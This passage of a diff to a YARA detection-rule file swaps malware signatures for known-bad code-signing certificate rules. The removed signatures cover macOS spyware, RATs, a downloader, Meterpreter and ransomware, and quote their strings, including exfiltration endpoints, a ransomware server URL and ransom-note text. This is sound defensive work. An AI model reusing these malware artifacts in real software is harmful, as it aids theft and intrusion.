+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and (6 of ($s*) or 2 of ($cnc*) or all of ($x*) or $developerid)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CAUSE FOR CHANGE LTD" and pe.signatures[i].serial=="00:83:85:68:44:19:ab:26:a3:f2:64:0b:14:96:e1:fe:94")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Realtimespy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_1Aec3D3F752A38617C1D7A677D0B5591 : FILE
 {
 	meta:
-		description = "Detects macOS RealtimeSpy monitoring app"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6485abf3-896c-54cd-ad84-7bd86456e47b"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8e1bb307-733c-5626-98f6-a5c2587bf800"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3141-L3166"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4647-L4658"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4ef2e1b8d34962cd3eab23f401b764b38b8332233aa2ae91b218af499d8ab8ff"
+		logic_hash = "4bbe5aac8a470061abab48070fafd2100c577cab1f40fcc5924dbd13bc747487"
 		score = 75
-		quality = 57
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Trojan.RealtimeSpy"
-
-	strings:
-		$x1 = "SPYAGENT4HASHCIPHER" fullword ascii
-		$x2 = ":username:password:acctid:compUser:compName:" ascii
-		$x3 = ":username:password:acctid:compName:" ascii
-		$x4 = "://www.realtime-spy-mac.com/" ascii
-		$x5 = "/Users/spytech/" ascii
-		$x6 = "shell script \"touch /private/var/db/.AccessibilityAPIEnabled\" password \"pwd\" with administrator privileges" ascii
-		$x7 = "Content-Disposition: form-data; name=\"raptor_" ascii
-		$c1 = "_OBJC_CLASS_$_LocationLogger" fullword ascii
-		$c2 = "_OBJC_CLASS_$_MonitoringFunctions" fullword ascii
-		$c3 = "_OBJC_CLASS_$_ProcessLogger" fullword ascii
-		$c4 = "_OBJC_CLASS_$_RealtimeLoggingFunctions" fullword ascii
-		$c5 = "_OBJC_CLASS_$_Realtime_SpyAppDelegate" fullword ascii
-		$c6 = "_OBJC_CLASS_$_ScreenshotLogger" fullword ascii
-		$c7 = "_OBJC_CLASS_$_Uploader" fullword ascii
-		$c8 = "_OBJC_CLASS_$_UsageLogger" fullword ascii
-		$c9 = "_OBJC_CLASS_$_WebsiteLogger" fullword ascii
+		thumbprint = "1d41b9f7714f221d76592e403d2fbb0f0310e697"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and (2 of ($x*) or 2 of ($c*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SILVER d.o.o." and pe.signatures[i].serial=="1a:ec:3d:3f:75:2a:38:61:7c:1d:7a:67:7d:0b:55:91")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Maxofferdeal : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_E5B2Af04Ea4B84A94609A47Eba3164Ec : FILE
 {
 	meta:
-		description = "Detects macOS MaxOfferDeal adware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "aec4ab77-7025-5856-99fb-aa7b86413c00"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "ea78ae13-cd9f-578a-95e4-906ab7045faf"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3168-L3187"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4660-L4671"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a9788b2049ae7f345760a078b2932e79fe8fc0dd71e0446c213df64480c3e3d6"
+		logic_hash = "2e32bb0d9689625cd860a75539961410241de341ad4b7ee661df7d3b2dd47c46"
 		score = 75
-		quality = 46
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Adware.MaxOfferDeal"
-
-	strings:
-		$s1 = "clEvE15obfuscated_data" ascii
-		$s2 = "%.*s.%.*s" fullword ascii
-		$s3 = "_Tt%cSs%zu%.*s%s" fullword ascii
-		$s4 = "_Tt%c%zu%.*s%zu%.*s%s" fullword ascii
-		$s5 = "__ZL20tFirefoxProfilesPath" ascii
-		$s6 = "__ZL22tFirefoxSearchFileName" ascii
-		$s7 = "__ZL37tFirefoxDefaultProfileFolderExtension" ascii
-		$s8 = "__ZL21tFirefoxPrefsFileName" ascii
-		$s9 = "__GLOBAL__sub_I_Firefox.mm" ascii
-		$s10 = "add_image_hook_" ascii
-		$s11 = "/Library/Caches/com.apple.xbs/Sources/arclite/arclite-66/source/" fullword ascii
+		thumbprint = "7785d50066faee71d1a463584c1a97f34431ddfe"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "RRGRQJRWZHRTLFAUVK" and pe.signatures[i].serial=="e5:b2:af:04:ea:4b:84:a9:46:09:a4:7e:ba:31:64:ec")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Windtrail : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Dummy01 : FILE
 {
 	meta:
-		description = "Detects WindTrail OSX trojan"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "abf7cd20-b37d-5d0a-8f3f-f4e491965713"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "eaf3bbdd-72b4-513c-9a5b-04f16292fa00"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3189-L3206"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4673-L4687"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "291f919cb1e8c4b33960dd3f2c842b9efec04852bd5661543e3ee60bc0fc5ba6"
+		logic_hash = "c72ac977ef92feead0a7ec72ec99b1a11f20b8c5258a08842a4dceddff91d659"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Trojan.WindTrail"
-
-	strings:
-		$s1 = "m_ComputerName_UserName" fullword ascii
-		$s2 = "m_uploadURL" fullword ascii
-		$s3 = "m_logString" fullword ascii
-		$s4 = "GenrateDeviceName" fullword ascii
-		$s5 = "open -a" fullword ascii
-		$s6 = "AESEncryptFile:toFile:usingPassphrase:error:" fullword ascii
-		$s7 = "scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:" fullword ascii
-		$s8 = "_kLSSharedFileListSessionLoginItems" fullword ascii
-		$developerid = "Developer ID Application: warren portman (95RKE2AA8F)" ascii
+		thumbprint1 = "16b7eb40b97149f49e8ec885b0a7fa7598f5a00f"
+		thumbprint2 = "902bf957b57f134619443d80cb8767250e034110"
+		thumbprint3 = "505f0055a66216c81420f41335ea7a4eb7b240fe"
+		thumbprint4 = "c05a6806d770dcec780e0477b83f068a1082be06"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and ( all of ($s*) or $developerid)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dummy certificate" and pe.signatures[i].serial=="01")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Techyutils : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00A7E1Dc5352C3852C5523030F57F2425C : FILE
 {
 	meta:
-		description = "Detects TechyUtils OSX packages"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "59fd4165-987f-5b68-9341-d78184b25a1c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "fba8f1a8-ca08-5d6f-a83e-c817daf94703"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3208-L3224"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4689-L4700"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "071c67cace09dd66233bd4c4dd78c32d0f39f7e38dc06ec62e09fef67762d098"
+		logic_hash = "06c151ae8b4a45eccef028ea69f0adf74445bd4d871fc65cc1d308f2005cede1"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Trojan.TechyUtils"
-
-	strings:
-		$s1 = "__ZL58__arclite_NSMutableDictionary__" ascii
-		$s2 = "__ZL46__arclite_NSDictionary_" ascii
-		$s3 = "<key>com.apple.security.get-task-allow</key>" fullword ascii
-		$s4 = "/productprice.svc/GetCountryCode" ascii
-		$s5 = "@_pthread_mutex_lock" fullword ascii
-		$s6 = "_mh_execute_header" fullword ascii
-		$s7 = "/Users/prasoon/Documents/" ascii
-		$developerid = "Developer ID Application: Techyutils Software Private Limited (VS9Q8BRRRJ)" ascii
+		thumbprint = "09232474b95fc2cfb07137e1ada82de63ffe6fcd"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and ( all of ($s*) or $developerid)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Pushka LLC" and pe.signatures[i].serial=="00:a7:e1:dc:53:52:c3:85:2c:55:23:03:0f:57:f2:42:5c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Dlagent04 : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_635517466B67Bd4Bba805Bc67Ac3328C : FILE
 {
 	meta:
-		description = "Detects known downloader agent downloading encoded binaries in patches from paste-like websites, most notably hastebin"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d591c591-aecc-557e-85b4-1e2589fbfbf9"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b7533186-b5dc-53ce-912b-39bd42c92071"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3247-L3263"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4702-L4713"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "73e6af7c32d38ec5d1d2bc9f2517860367b46779b53e0faff8885b655561ab01"
+		logic_hash = "71cdb314e2f6bda70f9f627d72aea49290fdbce66f76a170aa6571873ca82860"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.DLAgent04"
-
-	strings:
-		$x1 = "@@@http" ascii wide
-		$s1 = "HttpWebRequest" fullword ascii
-		$s2 = "GetResponseStream" fullword ascii
-		$s3 = "set_FileName" fullword ascii
-		$s4 = "set_UseShellExecute" fullword ascii
-		$s5 = "WebClient" fullword ascii
-		$s6 = "set_CreateNoWindow" fullword ascii
-		$s7 = "DownloadString" fullword ascii
+		thumbprint = "0b3144ec936028cbf5292504ef2a75eea8eb6c1d"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and #x1>1 and 4 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MEDIATEK INC." and pe.signatures[i].serial=="63:55:17:46:6b:67:bd:4b:ba:80:5b:c6:7a:c3:32:8c")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Gdriverat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_A2253Aeb5B0Ff1Aecbfd412C18Ccf07A : FILE
 {
 	meta:
-		description = "Detects GDriveRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "29e46280-39d1-5d49-ab0d-0a32398b30f0"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "82d70dae-97e7-5fa3-8a91-de6143fa2164"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3265-L3284"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4729-L4740"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "134e66d0afc90e7fbab2c9dd034f85eb504903481e12c1ab8d7bab9321da817a"
+		logic_hash = "357de1cbdf3223dfb1a920bfb15bbbd66906de5225c0ed015e5a3fbbbb65a753"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.GDriveRAT"
-
-	strings:
-		$h1 = "https://www.googleapis.com/upload/drive/v3/files?uploadType=multipart" fullword wide
-		$h2 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword wide
-		$h3 = "multipart/related; boundary=\"boundary_tag\"" fullword wide
-		$h4 = "https://www.googleapis.com/drive/v3/files" fullword wide
-		$s1 = "move gdrive.exe \"C:\\Users\\" fullword wide
-		$s2 = "file_data" fullword ascii
-		$s3 = "comp_id" fullword ascii
-		$s4 = "file_name" fullword ascii
-		$s5 = "refresh_token" fullword ascii
-		$s6 = "commands" fullword ascii
-		$s7 = "execute" fullword ascii
+		thumbprint = "b03db8e908dcf0e00a5a011ba82e673d91524816"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of ($h*) and 5 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Gallopers Software Solutions Limited" and pe.signatures[i].serial=="a2:25:3a:eb:5b:0f:f1:ae:cb:fd:41:2c:18:cc:f0:7a")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_STOP : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_21E3Cae5B77C41528658Ada08509C392 : FILE
 {
 	meta:
-		description = "Detects STOP ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e928d917-a9d9-5830-938a-59b62608e84c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bd97478f-1b75-542d-814c-8d318d745240"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3286-L3309"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4742-L4753"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "61f7e7c1139c56088b2f58b78ae132ffcfef0f931c15b67ea775b0d5e51d189d"
+		logic_hash = "c860e888b19b98c40cf00babfb022a79a35f12def0077733e796b2aeeea324ea"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		snort2_sid = "920113"
-		snort3_sid = "920111"
-		clamav_sig = "MALWARE.Win.Ransomware.STOP"
-
-	strings:
-		$x1 = "C:\\SystemID\\PersonalID.txt" fullword wide
-		$x2 = "/deny *S-1-1-0:(OI)(CI)(DE,DC)" wide
-		$x3 = "e:\\doc\\my work (c++)\\_git\\encryption\\" ascii wide nocase
-		$s1 = "\" --AutoStart" fullword ascii wide
-		$s2 = "--ForNetRes" fullword wide
-		$s3 = "--Admin" fullword wide
-		$s4 = "%username%" fullword wide
-		$s5 = "?pid=" fullword wide
-		$s6 = /&first=(true|false)/ fullword wide
-		$s7 = "delself.bat" ascii
-		$mutex1 = "{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}" fullword ascii
-		$mutex2 = "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}" fullword ascii
-		$mutex3 = "{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}" fullword ascii
+		thumbprint = "8acfaa12e5d02c1e0daf0a373b0490d782ea5220"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($x*) and 1 of ($mutex*)) or ( all of ($x*)) or (6 of ($s*) and (1 of ($x*) or 1 of ($mutex*))) or (9 of them ))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Network Design International Holdings Limited" and pe.signatures[i].serial=="21:e3:ca:e5:b7:7c:41:52:86:58:ad:a0:85:09:c3:92")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Parallaxrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_09B3A7E559Fcb024C4B66B794E9540Cb : FILE
 {
 	meta:
-		description = "Detects ParallaxRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "e602b28f-ae5d-52af-b1c5-5c41776dd4c5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5e1057d4-a40c-5e48-8965-91fd533c04dc"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3311-L3328"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4790-L4802"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7fd94dee44079b595b906f1687f44b51b8cebabbeb0900563b8d4fcc0e46bdd0"
+		logic_hash = "345abbb31986fe3f8f6b7eb05c73d4d42daa9df6a7706b9cd2fb4f8aac61d40b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.ParallaxRAT"
-
-	strings:
-		$s1 = "[Clipboard End]" fullword wide
-		$s2 = "[Ctrl +" fullword wide
-		$s3 = "[Alt +" fullword wide
-		$s4 = "Clipboard Start" wide
-		$s5 = "(Wscript.ScriptFullName)" wide
-		$s6 = "CSDVersion" fullword ascii
-		$s7 = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" fullword ascii
-		$x1 = { 2e 65 78 65 00 00 84 00 00 4d 5a 90 00 }
-		$x2 = "This program cannot be run in DOS mode" ascii
+		thumbprint = "59c60ade491c9eda994711b1fdb59510baad2ea3"
+		hash1 = "b57d694b6d1f9e0634953e8f5c1e4faf84fb50be806a8887dd5b31bfd58a167f"
+		importance = 20
 
 	condition:
-		(( uint16(0)==0x5a4d and all of ($s*)) or all of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Windscribe Limited" and pe.signatures[i].serial=="09:b3:a7:e5:59:fc:b0:24:c4:b6:6b:79:4e:95:40:cb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Meterpreter : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_19Beff8A6C129663E5E8C18953Dc1F67 : FILE
 {
 	meta:
-		description = "Detects Meterpreter payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d72fef80-d624-5e39-963a-8d7c12eb2d9c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "8bc27a0c-898d-510f-ad9d-78d5bab40cad"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3330-L3343"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4804-L4815"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5226cd7bb2344b822ee94d75f81a523ff701778de97a32ae52c604a4855e960c"
+		logic_hash = "e62c4ab0652f872887b7bedadba3306c831351f57bc4a177302b1268d823f9f4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PACKET TRANSMIT" fullword ascii
-		$s2 = "PACKET RECEIVE" fullword ascii
-		$s3 = "\\\\%s\\pipe\\%s" fullword ascii wide
-		$s4 = "%04x-%04x:%s" fullword wide
-		$s5 = "server.dll" fullword ascii
+		thumbprint = "ad3deacd821fee3bb158665bd7fa491e39aab2e6"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d and all of them ) or ( filesize <300KB and all of them )
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "CULNADY LTD LTD" and pe.signatures[i].serial=="19:be:ff:8a:6c:12:96:63:e5:e8:c1:89:53:dc:1f:67")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Trojan_Expresscms : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Cf2D0B5Bfdd68Cf777A0C12F806A569 : FILE
 {
 	meta:
-		description = "Detects ExpressCMS"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d096db0c-05f6-5b69-9d84-0105f2182ff3"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "610f4147-9b32-5d96-bf27-10a8e0c3c347"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3366-L3382"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4817-L4828"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "64d551e0c11b6394f9ae2b8fa749c36cb1b5c3f498592f95dc19fdea23c53160"
+		logic_hash = "d3e625c05e974650bb9750f6dadbbba5825a34ea10902c807b9da457902d2b59"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.ExpressCMS"
-
-	strings:
-		$s1 = "/click.php?cnv_id=" fullword wide
-		$s2 = "/click.php?key=" wide
-		$s3 = "jdlnb" fullword wide
-		$s4 = "Gkjfdshfkjjd: dsdjdsjdhv" fullword wide
-		$s5 = "--elevated" fullword wide
-		$s6 = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\%d" wide
-		$s7 = "\\Microsoft\\Manager.exe" fullword wide
-		$s8 = "\\Microsoft\\svchost.exe" fullword wide
+		thumbprint = "0c212cdf3d9a46621c19af5c494ff6bad25d3190"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PROTIP d.o.o." and pe.signatures[i].serial=="0c:f2:d0:b5:bf:dd:68:cf:77:7a:0c:12:f8:06:a5:69")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Meterpreterstager : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_56F008E69A7C4C3Feb389C66Eaf58259 : FILE
 {
 	meta:
-		description = "Detects Meterpreter stager payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dfbc37e9-13e0-55e2-a501-1005eea52b63"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "bcd0cd8e-82ec-5d20-85d1-cbad455b6d90"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3384-L3395"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4830-L4841"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0ac53a10abb1e4dd7da57872cd1779851d953127a912c31a5e411d8eb9bd07f4"
+		logic_hash = "3ba02eb734b461b02744c5fc901e45f4574249607398fb8a73850d5d5e89788b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "PAYLOAD:" fullword ascii
-		$s2 = "AQAPRQVH1" fullword ascii
-		$s3 = "ws2_32" fullword ascii
-		$s4 = "KERNEL32.dll" fullword ascii
+		thumbprint = "a7dc8cb973ef5f54af0889549d84dee51a7db839"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them and filesize <100KB
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "MEDIATEK INC." and pe.signatures[i].serial=="56:f0:08:e6:9a:7c:4c:3f:eb:38:9c:66:ea:f5:82:59")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Ziggy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_279B3A26F16A069Aa7Bca1811D44Ad9B : FILE
 {
 	meta:
-		description = "Detects Ziggy ransomware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "6d2d316a-cf19-5001-bf94-842346229d76"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "3ead1500-d510-5a9b-8a19-19f9f7f2cf95"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3397-L3421"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4857-L4873"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "103a50511971161ca673e0c8378aeca2fa7d0f6309966bbb2b70e0d039e0f196"
+		logic_hash = "5a01fd3db421a4b41318fa1264e8bc621ddeddb44b82b8f0b15e97eccec616e8"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "920098"
-		snort3_sid = "920096"
-		clamav_sig = "MALWARE.Win.Ransomware.Ziggy"
-
-	strings:
-		$id1 = "/Ziggy Info;component/mainwindow.xaml" fullword wide
-		$id2 = "AZiggy Info, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" fullword ascii
-		$id3 = "Ziggy Ransomware" fullword wide
-		$id4 = "clr-namespace:Zeggy" fullword ascii
-		$s1 = "GetCooldown" fullword ascii
-		$s2 = "checkCommandMappings" fullword ascii
-		$s3 = "add_OnExecuteCommand" fullword ascii
-		$s4 = "MindLated.jpg" fullword wide
-		$s5 = "http://fixfiles.xyz/ziggy/api/info.php?id=" fullword wide
-		$s6 = "Reamaining time:" fullword wide
-		$msg1 = "<:In case of no answer in 12 hours write us to this e-mail" ascii
-		$msg2 = "Free decryption as guarantee" fullword ascii
-		$msg3 = "# Do not try to decrypt your data using third party software, it may cause permanent data loss" ascii
-		$msg4 = "# Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can becom" ascii
+		thumbprint = "4a9fc15f1d63145b622989c4f5bec4612095401e"
+		hash1 = "fc642048d9f0b8cb36649fd377fdb68dce3998f2a88e8c64acdc4e88435f2562"
+		hash2 = "914067034336e4ed8b56e66d6be29f34477d9fb38ba73095a3edca5ec9cb1a9c"
+		hash3 = "daf7e148f82807808cac8a21b1a3ce43491c3a140420442a1c1ee2d497a9e0a2"
+		hash4 = "3727044bebe4a14aed66df5119c11471a57b50c57ab4baaef4073323206d3b9b"
+		hash5 = "f0239d16f77b11e6b606b23a53c9e563f6360a27a03c0b9cf83b151ee8ee9088"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($id*) or 4 of ($s*) or 3 of ($msg*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DIGITAL DEVLIN LIMITED" and pe.signatures[i].serial=="27:9b:3a:26:f1:6a:06:9a:a7:bc:a1:81:1d:44:ad:9b")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Nworm : FILE
